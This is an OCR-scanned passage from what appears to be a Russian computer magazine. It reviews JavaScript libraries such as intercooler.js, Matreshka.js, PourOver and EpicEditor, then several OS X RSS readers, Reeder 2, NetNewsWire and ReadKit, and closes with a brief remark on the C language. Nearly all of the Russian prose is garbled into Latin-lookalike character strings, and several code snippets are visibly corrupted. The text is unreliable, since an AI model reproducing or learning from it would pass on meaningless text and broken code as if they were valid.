b ce6fi 3HaneHne nana c #hiddenlnput. lloKa AJAX b agmctbmm, 6yAeT OTo6pa>KaTbCfl 
indicator, noane toto KaK 6yAeT no/iyneH OTBeT, oh 6yAeT noMemeH b 6/iok c maohtm- 
cJ)MKaTopoM #targetDiv, ho npn stom aHMMaunn He npon30MAeT, noTOMy hto Mbi yKa3a/in 
ic-transition="none". 

Bn6^noTeKa otjihhho noAOMAGT a/ih onncaHnn HeanoxHbix AJAX-based nojib30Ba- 

Te/lbCKHX MHTepcjDeMCOB, XOTfl MOLAH M rM6KOCTM nOJlHOLLeHHOrO C|)peMMBOpKa eM, KOHeHHO 

xe, He xBaTaeT. 



intercooler js Why? Intro Attributes ■ API • Tutorials • Download 



intercooler.js 



A little ]S library 

Arid AJAX to your web application using simple, declarative HTML attributes. 

y twom 



O intercooler vO.3.2 has been released! Join our newsgroup to stay up to date. 



< — This button posts to the /example/click 

URL when it is clicked — > 
<button ic-t>ost-to*"/exanple/click"> 

Click He! 
</button» 

<— This span is bound to a URL. that returns an updated 
version of the span when the button is clicked — > 
<*p«n ic-»rt«'7«x»»pl«/cli<;k"> 

You have not yet clicked the button 
</span> 



jeet 



jeet.qs 

Jeet — 3to grid system nj\n n\on,ei/\. Oh nocTpoeH Ha CSS-npenpou,eccopax, coBMecTMM 
c SCSS h Stylus. BiviecTO K/iaccoB .col-nn-6 Jeet ncno/ib3yeT mhkci/ihw, rAe coneTaKyrcfl 
Heo6xoAHMbie napaivieTpbi, KOTopbie moxho o6o3HaHMTb b 0opiviaTe npocTbix v\ AecaTHH- 
Hbix APo6ew. 

@import ' jeet/index ' ; 
@include edit; 
section { 
@include center; 

i 

aside { 

@include colcol(l/4 J gutter: .5); 

} 

article { 

@include colcol(2/3j gutter: .5); 

i 

MaTpeuiKa 



github.com/finom/matreshka 
Matreshka.js — cJ)peMMBopK o6i_u,ero Ha3HaHeHna, b kotopom 3HaHMM0CTb a^hhux aomm- 
HMpyeT HaA BHeujHMM bmaom. 3to He onepeAHOM npoeKT, rAe K/noneBbie npeHMymecTBa 
He3HaHMTe/ibHbi no cpaBHeHnio c Backbone, Angular, Ember. B HeM xe cyTb? 

npoeKT nocTaBn/i nepeA co6om aM6i/iu,no3Hyio u,e.nb — B03M0XH0CTb BOo6i_u,e 3a6biTb 
otom, hto y Hac ecTbUI, onepupysi TO/ibKO ASHHbiMM. npome roBopa, eroco3AaTejibnpeA- 
jiaraeT no/iHOCTbio nepenoxi/rrb pa6oTy c ypoBHeM npeACTaBneHi/ia (Ul) Ha njienw 0peM- 
MBopKa. 

MaTpeujKa He pa3Ae.rmeT npmioxeHne Ha MOAe/iH m npeACTaB/ieHUH. OHa CBH3biBaeT 
AaHHbie T3KMM o6pa30M, hto pa3pa6oTHw<y BOo6m,e He npwxoAHTCH caMOMy nucaTb koa 
Ana MOAnc^MKauuM DOM-AepeBa. 1/13 kopo6km npn i/i3MeHeHni/i ashhwx DOM-AepeBO aBTO- 
MaTMHecKM o6HOBrmeTCfl, KorAa o6HOB.rmKyrcfl caMM AaHHbie (to ecTb noACTaB/iqioTCfl Hyx- 
Hbie 3HaMeHnq, AoCaBJiaiOTCfl HOBbie 3/ieivieHTbi b Ul f\nn OTo6paxeHna HOBbix s/ieivieHTOB 
b MaccMBax m TaK Ranee). TaKoPi bot 6mhahht dak neHi/iBbix. 

Hi/ixe npMBeAeH MkiHwaTiopHbM npi/iMep, rAe npi/i M3MeHeHMM mk.x MeHaeTCfl 3Hane- 
Hue select: 

<select class="my-select"> 

<option>K/option> 

<option>2</option> 

<option>3</option> 
</select> 

va r mk = new MatreshkaQ; 





mk.x = 2; 




Matreshka.js 



Home Why Matreshka 



Docs 



Examples 



Download 



Matreshka.js 

The awesome way how you build your apps 




Sponsoring by 



SKOOJU 



Why Matreshka? 



Matreshka is the powerful framework that does you forgetting about element 
updating when you change your application data. Matreshka gives you possibility 
to operate with a model without taking care about Ul. 



Magic 

Matreshka provides you magic which you only dreamed of: getters and setters, 
dependences of one data from another data, data change events and more. It 
works even in IE8! 



PourOver 



github.com/NYTimes/pourover 

Korfla penb 3axoAHT 06 onepaTMBHOM pa6oie c KOJiJiei<u,MflMki, coctoh uutki m 1/1 1/13 coTeH Tbi- 
chh a/ieivieHTOB, b JavaScript, oneHb T9\>Keno coxpaHMTb npon3BOAHTe/ibHOCTb 6e3 M30- 
6peTeHM« Be/iocuneAOB. Pa3pa6oTHMKn The New Your Times pewi/mi/i stv npo6jieMy, 
3ape/iM3MB 6n6^MOTeKy PourOver.js. OHa no3BO/iaeT pea/ibHO 6bicipo cfjH/ibTpoBaTb, co- 
pTupoBaTb, o6"beAHHfiTb, CKpemnBaTb orpoMHbie oGteivibi AaHHbix. PourOver BcerAa 6y- 
AeT 3HaTb, KaK ohm 6bmn nocTpoeHbi, v\ no-yMHOMy o6HOB.rmTb npn mx M3MeHeHHM. 



The PourOver Book 




Front Matter - What is PourOver 

PourOver is a library for simple, fast filtering and sorting of large collections - think 
100,000s of items - in the browser. It allows you to build data-exploration apps and 
archives that run at 60fps, that don't have to to wait for a database call to render 
query results. 

PourOver is built around the ideal of simple queries that can be arbitrarily 
composed with each other, without having to recalculate their results. You can 
union, intersect, and difference queries. PourOver will remember how your queries 


PourOver 



PourOver is a library for fast 
filtering and sorting of large 
collections-think 100,000s 
of Items-in the browser. 

Code on GitHub 

See also: ^ tamper. 



were constructed ana can smartly update them when items are added or modified. 
You also get useful features like collections that buffer their information 
periodically, views that page and cache, fast sorting, and much, much more. 

If you just want to get started using PourOver, I would skip to "Preface - The Best 
Way to Learn PourOver". There you will find extensive examples. If you are curious 
about why we made PourOver or what it might offer to you, I encourage you to skip 
down to "Chp 1. - The Philosophy of PourOver". 

Prologue - Dependencies and Browser Compatibility 

Underscore.js is the only dependency. 

PourOver should work in any browser that underscore works in. It has been tested 
in: IE7+, Firefox 4+, Safari 5+, Opera 9+, Chrome 1+ 



Gesturekit 



github.com/RoamTouch/gesturekit.js 

B nepByio onepeAb Gesturekit — sto cepBuc, no3BO/iaiou4MM co3AaBaTb Tan-xecTbi Ha jiio- 
6om BKyc, KOTopbie b Aa/ibHeMiueM moxho ncnanb30BaTb c noMOLAbio cneu.ua/ibHO cre- 
HepupoBaHHoro xew-KOAa b cboux Mo6n/ibHbix Be6-npn/ioxeHMflx. rioc/ie no/iyneHMfi 
xew-KOAa Ana xecTa Tbi Moxeuib ncnojib30BaTb ero b cbomx npmioxeHMflx, npocTO noA- 
K/irOHUB He6ojibLuyK) 6n6/inoTeKy. 

gesturekit . init({ 

! gid ! : ! xxxx-xxxx-xxxx ' 

ii; 

Gesturekit-K/ineHT Mi/iHi/iaTfopeH (nopHAKa 3 K6 koas) h He nivieeT BHeuJHHX 3aBncnivio- 
ctqv\, hto oneHb BaxHO f\r\9\ Mo6mibHbix Be6-npn/io>KeHMki. 



. Free and open source SDK for all 
j platforms that works with an online 

editor and a plugin distribution 

system. 

| vor g - new CcsturcKit("contoier","670fc040 d301 4340 OfSo clca9340ccl3")i 
^\ | IGestureKit runInWindow:s«lt. window withUIID:GK_UDIDJ ; 

I (.Gestures - new GcstureKit (this, "tl831ctb-a347-41d9-at69-ee3SSate79t4") • 



1 



Try our demos 



^ Google- play 1 1 y App Store 





AniJS 



github.com/anijs/anijs 

llpocTafl, ho oneHb yAo6Haa 6i/i6jinoTeKa A-na AeicnapaTHBHoro onncaHnq CSS-aHi/iMa- 
u,hm, ocHOBaHHaa Ha animo.css. npuroAHTca, Hanpniviep, npn ckopocthoPI pa3pa6oTKe 

aHHMHpOBaHHblX nOHAHHTOB. 

<!-- npn K/inKe Bbino/iHMM aHMMauMto shake H a 3/ieMeH Te .box --> 

<div data-anijs="if : click, do: flipInY, to: .box"x/div> 

rioAAepxuBaeT co6biTnq click, dbclick, scroll, focus, change, mouseenter, mouseleave 
m Apyrne. 



f .0 t 




AniJS 



Declarative handling library for CSS animations 



EpicEditor 



epiceditor.com 

Be/inKO^enHbiM h oneHb npocTOM b ncno/ib30BaHwi/i JavaScript Markdown peAaicrop. 
Ajih MeHa ero npejiecTb3aK.nK)HaeTCfl btom, hto oh xpaHMT TeKCT b cKpbrrofi ot nnaa o6bin- 
hom textarea. TaK hto npn He AJAX-nocTi/iHre hi/iiokhx Be/ioci/ineAOB ropOAHTb He npnxo- 
AMTca. npM peHAepMHre co CTopoHbi cepBepa moxho co3AaTb textarea c md-TeKCTOM, 
a noc/ie 3arpy3KM CTpaHnu,bi MHMu,Ma/iM3npoBaTb EpicEditor A-na nee. ri/iarnH caM pac- 
napCMT KOHTeHT textarea m Hapi/icyeT OTpeHAepeHHbiw MHTepqbeMC peAaKTOpa. BAa/ibHePi- 
LueM Bee M3MeHeHnq 6yAyT ci/iHxpoHi/131/ipoBaTbCfl co CKpbiTbiM TeKCTOBbiM no/ieM. OneHb 
yAo6Haa LUTyKa. 

M3 KJlKDMeBblX 0C06eHH0CTeM MOXHO BblAe/lMTb! 

• no/iH03KpaHHbiM pe>KMM; 
MOMeHTa/ibHbM npeABapMTejibHbM npocMOTp; 

• aBTOCoxpaHeHne b local storage; 
B03M0XH0CTb pa6oTaTb b ocfj/iai/iHe; 

• MHOxecTBO Aono/iHMTe/ibHbix HacTpoeK KacT0MM3au.nn; 



LUMpOKMM Cj)yHKU,MOHan API H npOCTOTy C03AaHMf1 C06CTBeHHblX TeM. 

l/lHnu 1 Ma^M3au 1 Mq oneHb npocrrafl: 



var editor = new EpicEditor( ) . load( ) ; 



bpicfcditor 



Why 

QUICK Start 

Slep 1 Download 

Step 2: Create your container 
element 

Step 3: Add tho epiceditor.js tile 
Step 4: Init EpicEditor 
API 

EpicEditordoptionsl) 

options 

lnad([callha(*]) 

unload([callbackJ) 

gotBemont(elemont) 

is(state) 

opcn(lilcname) 

importrite((filename), [content]) 
exportFile(|lilenamel.|type]) 
reriameloldName. riewNarne) 
saved 

rpmnvc(namft) 

getFiies([name). 
[excludeContent)) 

on(event. handler) 



EpicEditor 



beta 0.2.2 



An Embeddable JavaScript Markdown Editor 

EpicEditor is an embeddable JavaScript Markdown editor with spill fullscreen editing, live previewing, 
automatic draft saving, online support, and more For developers, it oners a rooust API, can oe easily memeo. 
and allows you to swap out the bundled Markdown parser with anything you throw at it. 



if EpicEditor 

This is some default content. Go ahead, _change me_. 



Vis.js 



github.com/almende/vis/ 

OneHb rn6i<afl m cjjyHKu,MOHa^bHaa 6n6jinoTeKa ajih Bi/i3ya/iM3au,ni/i, KOTopaa no3BOJifleT 
npeACTaBjisiTb b vaoGhom A-na BOcnpi/iHTMfl bmag 6o/ibLuoe KO/iMHecTBO AaHHbix, a TaKxe 

MaHMny^MpOBaTb H B3aMM0AeMCTB0BaTb C HMMM. MlHCOKeCTBO pa3/IMHHblX Bapi/iaHTOB BM- 

3ya^M3au,MM b bhag rpadpOB v\ BpervieHHOM LUKa/ibi. 
ripMMep: 

var c ontainer = document .getElementById( 'visualization ' ); 



{id: 


1, content: 


! item 


1', 


start : 


'2013-04-20'}, 


{id: 
{id: 


2, content: 


' item 


2* , 


start : 


'2013-04-14'}, 


3, content: 


' item 


3", 


start : 


'2013-04-18'}, 


4, content: 


' item 


4', 


start: 


'2013-04-16', end: '2013-04-19'}, 


{id: 


5 , content: 


' item 


5', 


start: 


' 2013-04-25' }, 



{id: 6, content: 'item 6', start: '2013-04-27'} 

Jj - - - — 

var ontions = -f"V: 



var timeline = new vis .Timeline(container , data, options); 



Picker.is 



github.com/suffick/Picker 

J2,a, 3to Bcero /ii/iiub Colorpicker. Ho Ha mogm naMa™ oto eAHHCTBeHHbiM AOCTOMHbiM bhm- 
MaHMa MHCTpyivieHT jir\5\ Bbi6opa u,BeTa, HanwcaHHbM Ha coBpeivieHHbM Jiafl 6e3 wcnojib- 
30BaHMq jQuery. OneHb npocT b Mcno/ib30BaHMn: 

var parent = document. 

getElementById( ' parent ' ); 
var picker = new Picker(parent) ; 



parent .onclick_^function() { 
picker . show(); 

}J — 

picker .on_done = f unction(colour) { 

parent. style. background = colour. 

rgba() .toString(); 

U 
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riMCbMGHHblM 
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0E30P 
JIYHWMX 
nPMJIOKEHMM 
AJ15IHTEHMfl 

RSS AHA OS X * 



Eme napy nej Ha3aA BbiSop arperarapa RSS ajih MaKOBOAOB 
CBOflM/ic^ Bcero k nape Bapi/iaHTOB v\ Ha3Ba~rb noSeflme/ifl 
6bmo Hec/ioxHO. Tenepb nporpaMM i/i cepBMCOB 6onee neivi 

AOCTaTOHHO, HO M TpeSOBaHl/m l/13MGHl/l/1l/lCb. Mbl nocMOTpe- 

nv\ Ha rmTb Hai/i6o/iee m mgh i/iTbix 3K3eMn/iflpoB, HanaB c 6e- 
Ta-BepcMM Reeder 2 KaK caMoro MHorooSemaiOLuero. y Hero, 
BnponeM, ecTbflocToi/iHbii/i KOHKypeHT. 1/1/iMflaxe HecKO/ibKO. 



BuiOHe 2013 rofla Li/m JiK)6nTe/ieM HmaTb hoboctm Hepe3 RSS HacTa/i Ma- 
jieHbKUM KOHeu, CBeTa: b Google o6"bflBi/vin, hto cepBMC Google Reader 3a- 
KpblBaeTCfl. Ka3a^OCb 6bl, 3T0 C06blTHe AOJ1XHO 6blJ10 B3BO.TIHOBaTb TOJlbKO 

no/ib30BaTe/ieM caMoro Google Reader, ho b more oho OKa3ajiocb CTO/ib 3HaHn- 
MbiM, hto ot Hero moxho CMe.no OTCHMTbiBaTb HOByK) anoxy b Mi/ipe (mjih, ecrm npn- 

HflTb BO BHMMaHMe Ma/lbie MaCLUTa6bl, Mi/ipKe) RSS. 

ripMHMHa 6eACTBna KpoeTca b tom, hto Google Reader, noMHMO Be6-MHTep- 
cfjeMca, nepe3 KOTOpbifi moxho 6bmo HMTaTb hobocth, npeAOCTaBna/i nporpaMM- 
Hbie MHTepc|)ePicbi Ana CMHxpoHH3au.nn npH/ioxeHHH. Moxho 6bmo ycTaHOBHTb 
Ha KOMnbfOTep /iio6yio HHTa/iKy, to xe caivioe npoAenaTb Ha TenecJ)OHe h nnaHLueTe 
h 33TeM noAKJiKDHMTb Bee npHnoxeHHA k 3KK3yHTy Google Reader, nocne 3Toro hh- 
c^opMauMfl o noAnwcKax h CTaTyc npoHHTaHHOCTH hoboctch HanHHa/iH He3aivieTHO 

CHHXpOHH3HpOBaTbCfl MOKAy yCTpOHCTBaMH. 

TorAa pa3p36oTHMKM npH/ioxeHHH K3K oahh noAO.epxHBa.riH Google Reader — 
3to OKa3a/iocb 3HaHMTe/ibHO yAo6Hee, weM C03AaBaTb nponpneTapHbie cepBHCbi 
CMHxpoHM3au,MM. HoBOCTb o tom, hto b Google b TeneHne napbi Mec^ueB nnaHnpy- 
kdt no/iHOCTbio OTK/iKDHMTb cepBnc, npo3ByH3fi3 K3K rpoM cpeAn flCHoro He63. 3a- 
MeHbi Ha tot MOMeHT He cym,ecTBOBajio, h Ha ee co3AaHne Tpe6oBanocb KyAa 6o/ib- 
iiie AByx MecaueB. B HTore Han6onee npHB?i3aHHbie k Google Reader npHnoxeHHH 
(HanpuMep, Capuccino) npocTO nepecTa/iH (t>yHKu,MOHnpoB3Tb, Apyrne yTpaTH/in 

B03MOXHOCTb CHHXpOHH3HpOBaTbCfl. 

CHTyaiina HcnpaBHnacb He cpa3y, h nooneACTBHa KaTacTpocj)bi omymaiOTCfl 
AO chx nop. llepBbiMn Ha noMOuib nocneLUH/iH pa3pa6oTHHKH cepBHCOB, KOTopbie 
MoryT CTaTb 3aMeHOH Google Reader, to ecTb hmckdt ny6/inHHbie API, AaiOLune 
B03MOXHOCTb CMHxpoHM3npoBaTb pa3Hoo6pa3Hbie npmioxeHUfl Apyr c ApyroM. 
B npwMep moxho npMBecTM Feedly, NewsBlur, Feed Wrangler v\ Feedbin. CneAOM 
o>KMBi/i/ii/icb aBTopbi npunoxeHHM : 3aKpbiTne Google Reader A-na hhx CTa/io ixiaHCOM 
3ano/iyHMTb HOBbix no/ib30B3TeneM. 

YpOX3M HOBblX BepCMM, pa60TaiOLAHX CO CTOpOHHMMH Be6-CepBMC3MM, Bbl3pe- 

BaeT ao cmx nop. JlyHiue Bcero Aena o6ctoht c noAAepxKOM Feedly — hmchho stot 
cepBuc ycne/i nepexBaTMTb ynaBuiee 3hb.ms\ Google Reader, m MMeHHO ero noA- 
AepxKy Ao63BfifiK)T b nporpaMMbi b nepByio onepeAb. 

Mbi Bbi6pa^n n^Tb arperaTopoB, KOTopbie ycne^M peniMTb npo6neMy cmhxpo- 
HM33U.MM mjim xoTfi 6bi o6emaK)T cnpaBMTbCfi c Hew b o6o3Pmmom 6yAyLueM. flBa 



REEDER 2 



Ao 3aKpbiTMfl Google Reader cpeAH MaKOBCKi/ix arperaiopoB RSS 6bm abhw nv\- 
Aep, m oh Ha3biBa^ca Reeder. 3to npmioxeHwe co3AaeTca OAHi/iM-eAUHCTBeHHbiM 
pa3pa6oTHMKOM, ho eiviy yAa/iocb to, nero He motjim APyi~ne: C03AaTb v\ noAAep- 
xnBaTb Kpaci/iBoe coBpeMeHHoe npmioxeHwe co BceMM HyxHbiMM cJ)yHKu,nfiMM. 
Oah3ko c noAAepxKOM BbiLu/ia ocenKa hjih, BepHee, 3aMUHKa: cun Ha to, HTo6bi 
BbinycTMTb HOByK) BepcuK) cpa3y noone BenMKoro Ko/i/ianca, y nporpaMMMCTa-o- 
Amhohkh He xBaTi/i/io. riepBbiM Ae^OM oh B3suicfl 3a HOByK) BepcuK) Reeder A-na 
iOS m jiMLiib b cepeAUHe anpcrrn ony6jiMKOBa.n ny6/iMHHyK) 6eTa-Bepcwio Reeder 2 
A/ifl OS X c noAAepxKOM Feedly v\ APyrwx cepBMCOB. MivieHHO o He h noPiAeT pesb. 

no cpaBHeHMK) c npoiu^oM BepcueM Reeder npeo6pa3micfl. XoTb TpexKOJio- 
HOHHaa CTpyKTypa n coxpaHH/iacb, Tenepb AecKTonHoe npunoxeHne KyAa 6o/ib- 
Lue HanoMMHaeT Mo6nnbHoe: Ta xe pacuBeTKa, tot xe MkiHi/iMann3M. Ilpn OTKpbi- 
thh BCTpoeHHoro 6pay3epa jieBaa KonoHKa co cnwcKOM 4)maob cxnonbiBaeTca 
KaK npe>KAe, hto yAo6HO n ocTaBrmeT 6ojibiue 3KpaHHoro npocTpaHCTBa Rnn koh- 
TeHTa. KcTaTM, HacneT cx/ionbiBaHi/m: eonn nepBaa BepcuK OT/iMHa/iacb npnHTHofi 
aHMMau,neM s/ieivieHTOB MHTepcJ)eMca, to BTopaa b stom AOCTur/ia npocTO HeBM- 

AaHHblX BblCOT. 

no nacTn AH3aMHa MHTepct>ePica Reeder 2 Boo6me aoctohh BcanecKHx noxBa/i, 
m Ae/io He To^bKO b aKKypaTHOCTM, jiaKOHi/iHHOCTH m nnaBHOM pa6oTe, ho m b npi/i- 

JTTHblX UJTpMLUKaX BpOAe K3pTMH0K B HOBOCTflX, KOTOpbie paCTflrMBaKDTCfl Ha BCKD 
AOCTynHyiO HIHpUHy, MJIH OAHOKHOnOHHblX rOpSTMUX K/iaBMHI, KOTOpblMM MOXHO OT- 

KpbiTb HOBOCTb bo BHeniHeM 6pay3epe mii/i OTnpaBMTb b cou,ceTb. fla B3HTb xoTb 
3HanoK npi/uioxeHi/ifl: Ha tom CTOpOHe qbkipivieHHoPi kopo6kh, hto He 3aHsrra zioro- 
TunoM, Tenepb Hani/icaHO, CKO/ibKO BHyTpi/i Henponi/iTaHHbix HOBOCTew. HaxoAKa 

OTJlMHHaa — C OAHOM CTOpOHbl, BCe MOXHO npOHeCTb, C APyrOM — He M030J1HT 

rna3a, KaK npe>KHMM KpacHbiM 6ePiA>K c bchho 3aiuKa/iMBaK)LunMM Hi/icnaMM. 

B o6meM, y aBTopa Reeder Bee LuaHCbi no/iynnTb Apple Design Award — Ha- 
rpaAy, KOTopow Apple OTMenaeT pa3pa6oTHMKOB jiyHUMx nporpaMM. Ho npexAe 
npeACTOUT 3aKOHHMTb c 6eTa-TecTOM v\ BbiKaTMTb Reeder 2 b Mac App Store. To, 
hto pa6oTa HaA npmioKeHweivi He 3aBepujeHa, bhaho HeBoopyxeHHbiM rna30M. 
OTnpaBKy 3aMeTOK b Pocket m Instapaper Ao6aBmii/i nvwnh HeAaBHO, m cootbct- 
CTByiomne KHonKM eme Hejib3fl BbmecTM Ha naHe/ib nHCTpyMeHTOB. HeT n bo3- 
moxhoctm BpyHHyio copTi/ipoBaTb cnwcoK cJ)maob m nepeK/iaAbiBaTb mx M3 nanKM B 
nanKy. TeM He MeHee Reader 2 pa6oTaeT CTa6nnbHO m totob k okcahcbhom skc- 
n/iyaTauMM. 
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A blinking LED is powered by the temperature differential between the 

body and the air. 




NETNEUJ5UJIRE 



netnewswireapp.com 




NetNewsWire — nporparviMa c naBHeti ncTopnetf. Ee nepBaa Bepcun Bbiui/ia eiue 
b 2003 roAY- NNW ao/ito CHHTa/ica JiyHLui/iM arperaToporvi RSS Ana MaKa, ho ero 
aKTHBHafl pa3pa6oTKa oaho Bpervm ci/i/ibHO 6yKC0Bajia. npoG/iervia B03HMKJia M3-3a 
Toro, hto npaBa Ha nporparviMy b 2005 roAY Kynnna 4>npivia NewsGator, a b 2008 toay 
ee pyKOBOACTBO pewi/mo noriHOCTbio crvieHi/iTb Kypc m nocBmnTb Bee cn/ibi o6cny- 
xMBaHMio 6n3Hec-KjnneHTOB. NetNewsWire b tot MOMem" CTan 6ecnjiaTHbiM v\ npa-K- 
TunecKM He noAAepxwBa/icfl. HaAO nv\ roBopuiTb, hto k 3aKpbiTMKD Google Reader 
oh totob He 6bm? Ta xe cyAb6a, KCTaTM, nocTurna m FeedDemon — nonyrmpHbiPi 
RSS-arperaTop pj]9\ Windows, Toxe xmblumm noA KpbiiueM NewsGator. 

B 2013 roAy A/ifl nooneAHHx nonb30BaTe/ieM NNW 3a6pe3xnna HaAewa: koa 
nporpaMMbi nepeLueji b pyKn hobom rpynnbi pa3pa6oTHHKOB, He MMerOLUMx otho- 
LueHna k NewsGator i/i pByLu,nxca B03pOAHTb nporparviMy v\ CAenaTb H3 Hee coBpe- 
MeHHbiM RSS-pnAep. Bot yxe toa ohm HaBepcTbiBaiOT ynymeHHoe — Ha nporpecc 
moxho nocMOTpeTb, ycTaHOBMB 6eTa-BepcMio. 

BHeniHe 6eTa-BepcnH NetNewsWire 4.0 noxoxa Ha jiio6om ApyroPi arperaTop 
RSS, OAHaKO nojib30BaTejin npeAbiAyiAnx BepcMM NNW cpa3y yBMAflT, hto oh jih- 
Lun^cfl oahmx 4>yHKi4MM m npno6peji Apyrne. Ta-K, noTepanacb B03MOXHOCTb Me- 
HflTb pacmiaAKy OKHa (Tenepb TO/ibKO yxe CTaBiiiMM CTaHAapTOM TpexKO/iOHOHHbifi 
pexurvi), 3aTO noflBL/macb B03M0XH0CTb OTnpaB/iflTb hoboctm b Twitter, Facebook 
m Instapaper. 



nnaBHbiM HeAOCTaTOKDeTa-BepcMM — OTcyTCTBi/ie tom caMoii bo3mo>khocth cmh- 
xpoHM3npoBaTbca c Feedly m nponnMn OH/iawHOBbiMM cepBucaMH. Pa3pa6o~rm/iKH 
o6eiu,aKDT, hto ci/iHxpoHi/i3au,wo Ao6aB$qT b CTa6mibHbiM penn3, ho noKa hto no/ib30- 
BaTbCfl NNW moxho jiMiiib no CTapuHKe — 3arpy3MB b Hero tya\An OPML, coAepxa- 
lahm cnncoK cJ)maob. EcTb m Apyrwe HeAoneTbi: BHeiuHMM bma eme A^-neKO He Be3Ae 
AOBeAeH ao coBpeMeHHbix CTaHAapTOB, b hobocthx He bhaho pojimkob c YouTube 
m npoHnx BMAeoxocTMHroB, ao cmx nop HeT noAAepxKM Pocket, m TaK Aariee, m TaK 
Aa/iee. 

M3 nonoxnTe^bHbix otjihhi/m NetNewsWire moxho Ha3BaTb yHacneAOBaHHbM 
ot npoLu/ibix BepcuM 6pay3ep c noAAepxKOM BK/iaAOK (cooTBeTCTByioLAaa naHe/ib 
no^BMTCfl cnpaBa nocne OTKpbiTna nepBoPi xe ccbinKi/i), a TaKxe B03MO>KHOCTb bh- 

AeTb MMHUaTKDpbl KapTMHOK pflAOM C 3arOJ10BKOM K3XA0M HOBOCTM. Ha 3T0M, yBbl, 

noKa Bee. 



e e o 



NetNewsWire - 931 unread favorites, 51618 total - Extended Trial 



BUY Nf[Nf»<*,n- 



Add Silt ItefhBh 
53 Today 
. . Bookmarks 
» it Favorites 

, , chrls-granger.com 
IJ! Co.labs 
III Black Pixel 
0 Tapbots Blog 



Paul Robeuson 



Q Grumpy Camer 

V The Verge - All Posts 

Bxkcd 

O'Reilly Radar 

i bunnie's blog 
VC Cats 

^ NODE 

Pixel Envy 
. . Charlie's Diary 
. Nick Harkaway 
U) Penny Arcade 
£ fleoHua KaraHOi: 6nor 

V egor 

ii Panic Blog 

HOBOCTM KOMnaHMM 

— The Omni Croup 
asymco 
Things Blog 
, Humble Mumble 

+. o. 



2 
II 
6 
I 

21 
SI 
12 
21 



10 
M 



Mir* All Hud Next Unread 



Style Shirr Bookmark 



weapann 2014 
creation 

10«*ip. 2014 r. 
Mi P" 2014 

expedition 

17 ihi. 2014 r 
ascension 

02 M, 2014 r. 
AeKa6p» 2013 
evolution 

10a»«. 2013 r. 
Ho»6p. 2013 
keep going 

27 ho«6. 2013 r. 

Mercenary Kings tiling backgrounds 

19 no*. 2013 r. 
the end 




ascension 








RERDKIT 



readkitapp.com 




noKa Reeder >KAa/i 6onbLuoro o6HOB/ieHnq m ocTaBancfl 6e3 noAAepxKM cmhxpo- 
HM3au,nn, y Hero noflBmica AOCTOMHbM KOHKypeHT — ReadKit. npi/iMenaTe/ibHO, 
hto ero pa3pa6oTHMKM hbho M3HaMa/ibHO opneHTnpoBa/iMCb Ha nonb30BaTeneki 
Reeder i/i no3an.vicTBOBa.nn y TorAauiHero nuAepa iviHorne macm. 3Aecb TaKaa xe 
TpexnaHeribHa^ pacicnaAKa, oneHb noxoxMM BCTpoeHHbM 6pay3ep c bo3moxho- 
CTbio CMOTpeTb CTpaHMu,bi Hepe3 Readability, ecTb Aaxe nepeK/noHaTe/ib, no3BO- 
nflrOLu,n^ noKa3biBaTb b cnncKe cJdmaob TonbKO Te, hto coAepxaT HenpoHi/rraHHbie 
hobocth. Oah3ko cbom MAen y aBTopoB ReadKit Toxe HMeiOTCfl. 

HnaBHoe OT.n1/14ne 3Toro nomioxeHna b tom. hto oho n3Hana.nbHO ooneHTMOOBa- 



ho Ha pa6oTy c pa3Hoo6pa3HbiMM cepBMcaMM, i/i penb He TO/ibKO o CMHxpoHM3au,nn 
m bo3moxhoctm nocbmaTb ccbuiKy b Ty mjih MHyK) couwa/ibHyK) ceTb m/im onepeA- 
Hoe 3aKJiaAKOxpaHHJiwLne. Ha odpi/iui/ia/ibHOM cafiTe nporparvuvia peK/iaMMpyeTca 
KaK «eAHHoe MecTO A-nfl ht6hhh». l/lrvieeTCfl b BMAy B03MO>KHOCTb ReadKit noKa3bi- 
BaTb CTaTbM, coxpaHeHHbie b Tex xe Pocket m Instapaper (npaBAa, nocneAHMM 6y- 
AeTnoAAep>KMBaTb KOonepau,MK) c ReadKit TO/ibKO npn nnaTHOM noAni/iCKe). OrryAa 
noArpyxaKDTca Aa*e Tern — sto yAo6HO, xoth b cnynae c Pocket He Heo6xoAHMO, 
BeAb y Toro ecTb Knnem~CKoe npmio>KeHMe A-nfl OS X. 

BTopoe HeiviajiOBaxHoe aoctomhctbo ReadKit — sto noAAepxKa «yrviHbix na- 
noK». Te, kto CTa/iKi/iBa/ica c TaKMMM nanKaMM b Finder, iTunes, iPhoto m nponux npo- 
rpaMMax npon3BOACTBa Apple, 3HaK)T, o nervi mact penb. Arm TaKOM nanKn 3aAaoTCH 
Ha6op npaBMji, n OHa HanHHaeT pa6oTaTb b KanecTBe dpwnbTpa. Moxho orpaHHHMTb 
coAepxMMoe hobocthmm c onpeAe/ieHHbiM cnoBOM b hb3B3lhmm, 3aAaTb rpaHnu,bi 
no A^Te nySnHKaunn h TaK nanee. 3ja dpyHKuna 0Ka3biBaeTCH KpaMHe none3Hofi, 
KorAa Tpe6yeTca nocTO^HHO OTcnexuBaTb hobocti/i no KaKofi-TO onpeAe/ieHHOM 
TeMe. 

3a noc/ieAHMM toa pa3pa6oTHMKM ReadKit ycne/iM 3HaHMTenbH0 ynyHLui/rrb hh- 
TepcJ)ePic nporpaMMbi, onen<a pacujupHTb cJ)yHKu,MOHa/ibHOCTb (b nacTHOCTn, 6biJia 
Ao6aB/ieHa noAAepxKa Safari Reading List) m noBbicmb CTa6mibH0CTb, OAHaKO 
c nocneAHMM ao cmx nop He Bee ziaAHO. HecMOTpa Ha to hto ReadKit a^bho npoAa- 
eTCH b App Store, pa3pa6oTHMKM BbinoBM/in em,e He Bee 6arn, npuBOA^iAno k c6ohm 
m 3aBncaHM«M, — oco6eHHO 3to 3aivieTH0 npn pa6oTe c «yrviHbiMM nanKarvin». flpeA- 
CTaBrmeTCfl, hto aBTOpbi ReadKit ao cmx nop pacnnaHWBaiOTCfl 3a r/iiOHHbiM koa, 
KOTOpbiM nMcanca b cneiuKe: 6oa.ni/icb, HaBepHoe, He ycneTb k 3aKpbiTMio Google 
Reader. 
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Mark Bernstein: It's Not C. 

Any computer language capable of doing real work is also capable of 
being confusing, capable of being misused, capable of being 
subverted. 

Mark's right. Free computing is free speech. 

I certainly don't recommend banning C, as if anyone could. I don't use it 
much, but when performance is an issue, I do. (Note that I need to update 
that code: needs more braces.) 

However, it's worth thinking about less-dangerous alternatives. 
Programmers will always make mistakes, and that's why we do automated 
testing, static analysis, code reviews, and so on. That same reason — the 
inevitability of mistakes — is a reason to use higher-level languages when 
possible. 




LEAF 

